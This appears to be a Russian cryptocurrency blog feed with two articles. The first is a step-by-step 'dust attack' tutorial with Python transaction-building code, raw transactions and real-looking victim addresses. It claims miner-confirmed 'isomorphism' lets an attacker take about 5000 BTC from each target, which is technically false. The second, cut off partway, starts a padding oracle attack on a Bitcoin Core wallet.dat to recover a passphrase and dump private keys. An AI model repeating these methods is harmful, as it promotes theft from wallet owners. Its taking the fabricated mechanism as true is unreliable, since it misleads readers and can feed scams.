Рассмотрим ещё одну статью и возьмем для примера TXID из которого было совершено очень большое количество пылевой атаки.

Согласно, статье в этой транзакции было совершено наибольшее количество краж монет BTC с использованием системы пылевой атаки.

Обратим внимание на два Биткоин Адреса которые в период [июль-август 2022] совершили успешные пылевые атаки на общую сумму: 10000 BTC


Пример №1

Пример №2

Для проведение пылевой атаки большую роль играет подтверждение изоморфизма майнерами, т.к. с 2022 по 2024 года многие криптовалютные сервисы и аппаратные кошельки активно борются с пылевой атакой.

На данный момент широкую популярность получил способ самостоятельно создавать пылевые транзакции на собственном холодном кошельке. Возьмем пример № 1 и перейдем в раздел “Create Dust Transaction”

Установим Python 3.12.1 на Windows 10

Link to gif content #01


Скачиваем исходный код устанавливаем get-pip.py , а также запускаем install.py для установки пакетов:

Link to gif content #02


Сгенерируем собственный холодный кошелек

Link to gif content #03


Баланс и транзакция платежа

Пополняем баланс холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

Сохраним транзакцию TXID хэш от платежа пополнение баланса для дальнейшего построение Дерево Меркла (Merkle Tree)
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC
Дерево Меркла заполняется снизу вверх, где к каждому блоку данных применяется хеширование, а полученные значения записываются в листья дерева. Блоки, которые находятся уровнем выше, заполняются значением суммы хешем двух дочерних блоков. Этот процесс повторяется до того момента, пока не будет получено верхнее значение или Корень Меркла (Merkle Root). В блокчейне Bitcon используется хеш-функция SHA256. Другие блокчейны могут использовать другие принципы шифрования для создания Дерева Меркла.

Хэш платежа от пополнение баланса


Скопируем TXID: 0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5 т.к. это хэш пополнение баланса холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK далее открываем исходный код Python скрипта createrawtransaction.py и в строке №7 меняем значение на свои данные.
dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")

Чтобы обезопасить свой новосозданный холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
ОБЯЗАТЕЛЬНО отключаем интернет на своем ПК. Это необходимо для безопасности в раскрытие приватного ключа сторонними работающими приложениями на вашем ПК. Этот процесс займет несколько минут. Отключаем интернет при создании пылевой транзакции RawTX.
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

Как только вы убедились, что интернет отключен в строке №5 вставим Private Key WIF
pk = PrivateKey.parse("L1k********************************************MdrTj")

В строке №12 добавляем общую сумму баланса холодного кошелька. В нашем случае эта сумма составляет 2786906 satoshi
tx_in._value = 2786906

Прибыль от пылевой атаки.

Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №1 в нашем случае мы выбираем адрес Биткоин Кошелька: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

В строке №9 нам необходимо указать Биткоин Адрес для пылевой атаки
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"

Сумма пыли будет составлять 555 satoshi, в строке №15 указываем эту сумму.
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

Далее учитываем Fee (комиссия для майнеров), эта сумму будет составлять 226 satoshi
555 + 226 = 781 satoshi

Также нам необходимо учитывать возврат наших средств обратно на наш холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK т.к. мы выделили 781 satoshi для пылевой атаки, вычитаем эту сумму из общей суммы пополнение баланса холодного кошелька 2786906 satoshi
2786906 - 781 = 2786125 satoshi 

В строке №16 указываем сумму возврат наших средств обратно на наш холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

Запускаем наш скрипт createrawtransaction.py нажав клавишу «F5» или опцию: Run / Run Module F5
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

Запуск скрипта: createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")
dust_index = 0
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2786906
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

Результат:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

--------------------------------------

OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG 
b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' 

--------------------------------------

RawTX for performing isomorphism:
0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800

--------------------------------------

Link to gif content #04.1


Мы получили RawTX пылевой транзакции теперь перейдем в раздел Verify Transactions для того чтобы убедиться создана ли транзакция должным образом. Скопируем RawTX и вставим в поле ввода Verify transactions and other scripts

RawTX for performing isomorphism:

0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

ScriptSig Isomorphism

Цель нашей пылевой атаки получить максимальную прибыль от Биткоин Кошелька на которую мы отправляем 555 satoshi. Для этого мы переходим в раздел ScriptSig Isomorphism и преобразуем пылевую транзакцию в изоморфизм, согласно теории https://safecurves.cr.yp.to/ladder.html (две транзакции должны быть подтверждены майнерами). Первая транзакция это пылевая транзакция, где отправляется малая сумма в 555 satoshi, вторая транзакция это изоморфизм первой транзакции, где происходит обратный перевод средств из баланса жертвы пылевой атаки.

Link to gif content #05.1


Полученный изоморфизм мы опубликуем в репозитории CryptoDeepTools
https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt

Согласно, теории описанная в разделе Create Dust Transaction нам необходимо изменить все существующие значение 74786964 в новой транзакции изоморфизма на все текущие txid которые были совершены в Биткоин Кошелек: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i на которую мы производим пылевую атаку с малой суммой 555 satoshi [ send_dust ]

Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash

Link to gif content #06


После того как мы получили все потоковые хеш форматы нам необходимо сохранить весь список заменив txid, для этого открываем файл: isomorphism.txt в Notepad++ нажимаем клавиши:
CTRL + F пишем: 74786964 заменить на: \ntxid\n

Переходим в CryptoDeepTools и выполним функцию замены в Notepad++ т.к. мы получили список txid теперь из списка GitHub скопируем и вставим весь список потокового хеш формата в файл: isomorphism.txt


Link to gif content #08


Замена публичного ключа в файле: isomorphism.txt

Изоморфизм это новая транзакция и в место значение 7075626b6579 нам необходимо указать публичный ключ Биткоин Кошелька из которого мы хотим совершить транзакцию целью получение максимальной прибыли. Для этого переходим в файл PublicKey.txt запустим python скрипт: pubtoaddr.py для того чтобы убедиться соответствует ли публичный ключ к адресу для пылевой атаки.
https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt

После нам необходимо изменить все существующие значение 7075626b6579 на значение в файле: PublicKey.txt (Все действие делаются также в  Notepad++)

Link to gif content #10


Биткоин адрес для получения всей прибыли:

Для перевода всех накопленных монет BTC нам необходимо сгенерировать совершенно новый Биткоин адрес в формате (SegWit):
36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE

Для того, чтобы получить hash160 для Биткоин адреса нам необходимо раскодировать RedeemScript используем python скрипт createrawtransaction.py
print(Tx.get_address_data(send_dust)['script_pubkey'])

После получение hash160 из нового Биткоин Адреса (SegWit) нам необходимо открыть файл: isomorphism.txt в Notepad++ и заменить значение 68617368313630 на полученное значение hash160

Мы добавили все необходимые значение для создание новой транзакции для получение прибыли из изоморфизма, теперь нам необходимо выделить весь текст на файле: isomorphism.txt нажав клавиши: CTRL + A после объединяем все в одну строку для этого необходимо нажать на клавиши CTRL + J в итоге мы получаем длинную строку с пробелами. Убираем пробелы нажав клавиши: CTRL + F заменяем пробелы. В итоге мы получаем новый RawTX для совершение транзакции.

Link to gif content #12


Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts


Сумма прибыли в монетах от пылевой атаки составляет:

5000.00141092 BTC // $ 209364,284.08 United States Dollar



Пример №2

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

Продолжим пылевую атаку на другом примере. В качестве холодного кошелька будем использовать тот же адрес: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Для примера №2 пополним баланс на сумму: 0.033532 BTC или в единицах Биткоина: 33532 satoshi
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

Сохраним транзакцию TXID хэш от платежа пополнение баланса для дальнейшего построение Дерево Меркла (Merkle Tree)

Хэш платежа от пополнение баланса

Скопируем TXID: 655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5 т.к. это хэш пополнение баланса холодного кошелька: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK далее открываем исходный код Python скрипта createrawtransaction.py и в строке №7 меняем значение на свои данные.
dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")

Меняем строку №5 вставим Private Key WIF
pk = PrivateKey.parse("L1k********************************************MdrTj")

В строке №12 добавляем общую сумму баланса холодного кошелька. В нашем случае эта сумма составляет 33532 satoshi
tx_in._value = 33532

Прибыль от пылевой атаки.

Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №2 в нашем случае мы выбираем адрес Биткоин Кошелька: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

В строке №9 нам необходимо указать Биткоин Адрес для пылевой атаки
send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"

Сумма пыли будет составлять 555 satoshi, в строке №15 указываем эту сумму.
TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

Далее учитываем Fee (комиссия для майнеров), эта сумму будет составлять 226 satoshi
555 + 226 = 781 satoshi

Также нам необходимо учитывать возврат наших средств обратно на наш холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK т.к. мы выделили 781 satoshi для пылевой атаки, вычитаем эту сумму из общей суммы пополнение баланса холодного кошелька 33532 satoshi
33532 - 781 = 32751 satoshi 

В строке №16 указываем сумму возврат наших средств обратно на наш холодный кошелек: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

Запускаем наш скрипт createrawtransaction.py нажав клавишу «F5» или опцию: Run / Run Module F5
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

Запуск скрипта: createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")
dust_index = 0
send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 33532
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

Результат:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

--------------------------------------

OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a'

--------------------------------------

RawTX for performing isomorphism:
0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800

--------------------------------------

Link to gif content #04.2


Мы получили RawTX пылевой транзакции теперь перейдем в раздел Verify Transactions для того чтобы убедиться создана ли транзакция должным образом. Скопируем RawTX и вставим в поле ввода Verify transactions and other scripts

RawTX for performing isomorphism:

0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

ScriptSig Isomorphism

Цель нашей пылевой атаки получить максимальную прибыль от Биткоин Кошелька на которую мы отправляем 555 satoshi. Для этого мы переходим в раздел ScriptSig Isomorphism и преобразуем пылевую транзакцию в изоморфизм, согласно теории https://safecurves.cr.yp.to/ladder.html (две транзакции должны быть подтверждены майнерами). Первая транзакция это пылевая транзакция, где отправляется малая сумма в 555 satoshi, вторая транзакция это изоморфизм первой транзакции, где происходит обратный перевод средств из баланса жертвы пылевой атаки.

Link to gif content #05.2


Полученный изоморфизм мы опубликуем в репозитории CryptoDeepTools
https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/isomorphism.txt

Согласно, теории описанная в разделе Create Dust Transaction нам необходимо изменить все существующие значение 74786964 в новой транзакции изоморфизма на все текущие txid которые были совершены в Биткоин Кошелек: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt на которую мы производим пылевую атаку с малой суммой 555 satoshi [ send_dust ]

Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash

Link to gif content #07


После того как мы получили все потоковые хеш форматы нам необходимо сохранить весь список заменив txid, для этого открываем файл: isomorphism.txt в Notepad++ нажимаем клавиши:
CTRL + F пишем: 74786964 заменить на: \ntxid\n

Переходим в CryptoDeepTools и выполним функцию замены в Notepad++ т.к. мы получили список txid теперь из списка GitHub скопируем и вставим весь список потокового хеш формата в файл: isomorphism.txt

Link to gif content #09


Замена публичного ключа в файле: isomorphism.txt

Изоморфизм это новая транзакция и в место значение 7075626b6579 нам необходимо указать публичный ключ Биткоин Кошелька из которого мы хотим совершить транзакцию целью получение максимальной прибыли. Для этого переходим в файл PublicKey.txt запустим python скрипт: pubtoaddr.py для того чтобы убедиться соответствует ли публичный ключ к адресу для пылевой атаки.
https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/PublicKey.txt

После нам необходимо изменить все существующие значение 7075626b6579 на значение в файле: PublicKey.txt (Все действие делаются также в  Notepad++)

Link to gif content #11


Биткоин адрес для получения всей прибыли:

Для перевода всех накопленных монет BTC нам необходимо сгенерировать совершенно новый Биткоин адрес в формате (SegWit):
3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac

Для того, чтобы получить hash160 для Биткоин адреса нам необходимо раскодировать RedeemScript используем python скрипт createrawtransaction.py
print(Tx.get_address_data(send_dust)['script_pubkey'])

После получение hash160 из нового Биткоин Адреса (SegWit) нам необходимо открыть файл: isomorphism.txt в Notepad++ и заменить значение 68617368313630 на полученное значение hash160

Мы добавили все необходимые значение для создание новой транзакции для получение прибыли из изоморфизма, теперь нам необходимо выделить весь текст на файле: isomorphism.txt нажав клавиши: CTRL + A после объединяем все в одну строку для этого необходимо нажать на клавиши CTRL + J в итоге мы получаем длинную строку с пробелами. Убираем пробелы нажав клавиши: CTRL + F заменяем пробелы. В итоге мы получаем новый RawTX для совершение транзакции.

Link to gif content #13


Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts


Сумма прибыли в монетах от пылевой атаки составляет:

5001.51473912 BTC // $ 215831966,02 United States Dollar



References:


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Telegram: https://t.me/cryptodeeptech

YouTube: https://www.youtube.com/@cryptodeeptech

Видеоматериал: https://dzen.ru/video/watch/65be9256df804947fbd96fd7

Источник: https://cryptodeeptool.ru/dustattack


DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

Сообщение DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC появились сначала на «CRYPTO DEEP TOOLS».

]]>
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core https://cryptodeeptool.ru/padding-oracle-attack-on-wallet-dat/ Mon, 27 Nov 2023 03:09:11 +0000 https://cryptodeeptool.ru/?p=4094 В этой статье мы воспользуемся классификацией распространенных шаблонов атак из ресурса кибербезопасности [CAPEC™]. В первые об “Padding Oracle Attack” на Wallet.dat заговорили в далеком 2012 году (на платформе по управления уязвимостями и анализа угроз “VulDB”). Проблема самого популярного кошелька Bitcoin Core влияет на работу AES Encryption Padding в файле Wallet.dat Технические подробности данной атаки известны: Эту атаку […]

Сообщение Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core появились сначала на «CRYPTO DEEP TOOLS».

]]>

В этой статье мы воспользуемся классификацией распространенных шаблонов атак из ресурса кибербезопасности [CAPEC™]. В первые об “Padding Oracle Attack” на Wallet.dat заговорили в далеком 2012 году (на платформе по управления уязвимостями и анализа угроз “VulDB”). Проблема самого популярного кошелька Bitcoin Core влияет на работу AES Encryption Padding в файле Wallet.dat

Технические подробности данной атаки известны:


Злоумышленник может эффективно расшифровывать данные, не зная ключа расшифровки, если целевая система сливает данные о том, произошла ли ошибка заполнения при расшифровке зашифрованного текста. 
Целевая система, которая передает информацию такого типа, становится заполняющим оракулом, и злоумышленник может использовать этот оракул для эффективной расшифровки данных, не зная ключа дешифрования, выдавая в среднем 128*b вызовов заполняющему оракулу (где b — это количество байт в блоке зашифрованного текста). 
Помимо выполнения расшифровки, злоумышленник также может создавать действительные зашифрованные тексты (т. е. выполнять шифрование) с помощью оракула заполнения, и все это без знания ключа шифрования.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Любая криптосистема может быть уязвима для атак оракула заполнения, если зашифрованные сообщения не аутентифицируются для обеспечения их достоверности перед расшифровкой, а затем информация об ошибке заполнения передается злоумышленнику. 
Этот метод атаки может использоваться, например, для взлома систем CAPTCHA или расшифровки/изменения информации о состоянии, хранящейся в объектах на стороне клиента (например, скрытых полях или файлах cookie). 

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Этот метод атаки представляет собой атаку по побочному каналу на криптосистему, которая использует утечку данных из неправильно реализованной процедуры дешифрования для полного подрыва криптосистемы. Одного бита информации, который сообщает злоумышленнику, произошла ли ошибка заполнения во время расшифровки, в какой бы форме она ни была, достаточно, чтобы злоумышленник взломал криптосистему.  Этот бит информации может прийти в форме явного сообщения об ошибке заполнения, возвращенной пустой страницы или даже того, что серверу требуется больше времени для ответа (временная атака).

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Эту атаку можно запустить в междоменном режиме, когда злоумышленник может использовать междоменные утечки информации, чтобы получить биты информации от оракула заполнения из целевой системы/службы, с которой взаимодействует жертва.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

В симметричной криптографии атака оракула заполнения может быть выполнена в режиме шифрования AES-256-CBC (который используется Bitcoin Core), при котором «оракул» (источник) передает данные о том, является ли заполнение зашифрованного сообщения правильно или нет. 
Такие данные могут позволить злоумышленникам расшифровать сообщения через оракул, используя ключ оракула, не зная ключа шифрования.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core
Процесс Padding Oracle Attack на Wallet.dat

Перейдем к практической части и выполним ряд действии через эксплойт, чтобы в процессе заполнить оракул в файле Wallet.dat и в конечном итоге найти необходимый нам пароль в бинарном формате.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core
Capture The Flag (CTF)

Раннее исследователи и участники турнира CTF выложили в публичный доступ взломанный [ wallet.dat 2023 года] Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b на сумму44502.42 долларов США // БИТКОИН: 1.17461256 BTC


Перейдем по ссылке на releases Bitcoin Core version 22.1

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core
https://github.com/bitcoin/bitcoin/releases

Index of /bin/bitcoin-core-22.1/


../
test.rc1/                                          08-Nov-2022 18:08                   -
test.rc2/                                          28-Nov-2022 09:39                   -
SHA256SUMS                                         14-Dec-2022 17:59                2353
SHA256SUMS.asc                                     14-Dec-2022 17:59               10714
SHA256SUMS.ots                                     14-Dec-2022 17:59                 538
bitcoin-22.1-aarch64-linux-gnu.tar.gz              14-Dec-2022 17:59            34264786
bitcoin-22.1-arm-linux-gnueabihf.tar.gz            14-Dec-2022 18:00            30424198
bitcoin-22.1-osx-signed.dmg                        14-Dec-2022 18:00            14838454
bitcoin-22.1-osx64.tar.gz                          14-Dec-2022 18:00            27930578
bitcoin-22.1-powerpc64-linux-gnu.tar.gz            14-Dec-2022 18:00            39999102
bitcoin-22.1-powerpc64le-linux-gnu.tar.gz          14-Dec-2022 18:00            38867643
bitcoin-22.1-riscv64-linux-gnu.tar.gz              14-Dec-2022 18:01            34114511
bitcoin-22.1-win64-setup.exe                       14-Dec-2022 18:01            18771672
bitcoin-22.1-win64.zip                             14-Dec-2022 18:01            34263968
bitcoin-22.1-x86_64-linux-gnu.tar.gz               14-Dec-2022 18:01            35964880
bitcoin-22.1.tar.gz                                14-Dec-2022 18:01             8122372
bitcoin-22.1.torrent                               14-Dec-2022 18:01               49857


Установить Bitcoin Core version 22.1

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

ОБЯЗАТЕЛЬНО! Перезагрузите программу QT // Запустите обратно Bitcoin Core

Нажимаем клавиши: Ctrl + Q

Необходимо перезагрузить программу QT, для того чтобы синхронизировать новый wallet.dat
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core


Проверим через команду getaddressinfo Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

getaddressinfo "address"

Return information about the given bitcoin address.
Some of the information will only be present if the address is in the active wallet.

Запустим команду:

getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Результат:

{
  "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b",
  "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac",
  "ismine": true,
  "solvable": true,
  "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel",
  "iswatchonly": false,
  "isscript": false,
  "iswitness": false,
  "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f",
  "iscompressed": true,
  "ischange": false,
  "timestamp": 1,
  "labels": [
    ""
  ]
}
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Запустим команду dumpprivkey для получения приватного ключа к Биткоин Кошельку: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

dumpprivkey "address"

Reveals the private key corresponding to 'address'.
Then the importprivkey can be used with this output

Запустим команду:

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Результат:

Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)


Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Мы видим, что доступ к приватному ключу Биткоин Кошелька защищен паролем.
passphrase ?!?!?
passphrase ?!?!?
passphrase ?!?!?

Запустим Padding Oracle Attack на Wallet.dat и расшифруем пароль в бинарный формат, для этого нам понадобится установить репозитории Bitcoin Core integration/staging tree для этого вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )


https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt



Padding_Oracle_Attack_on_Wallet_dat.ipynb


Откроем сервис Google Colab по ссылке: https://colab.research.google.com

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Нажимаем на "+" и “Создаем новый блокнот”

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим Ruby в Google Colab

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby

!sudo apt install ruby-full

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Проверим версию установки

!ruby --version
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core
Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]


Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин

!gem install bitcoin-ruby

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)

!gem install ecdsa

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.

!gem install base58

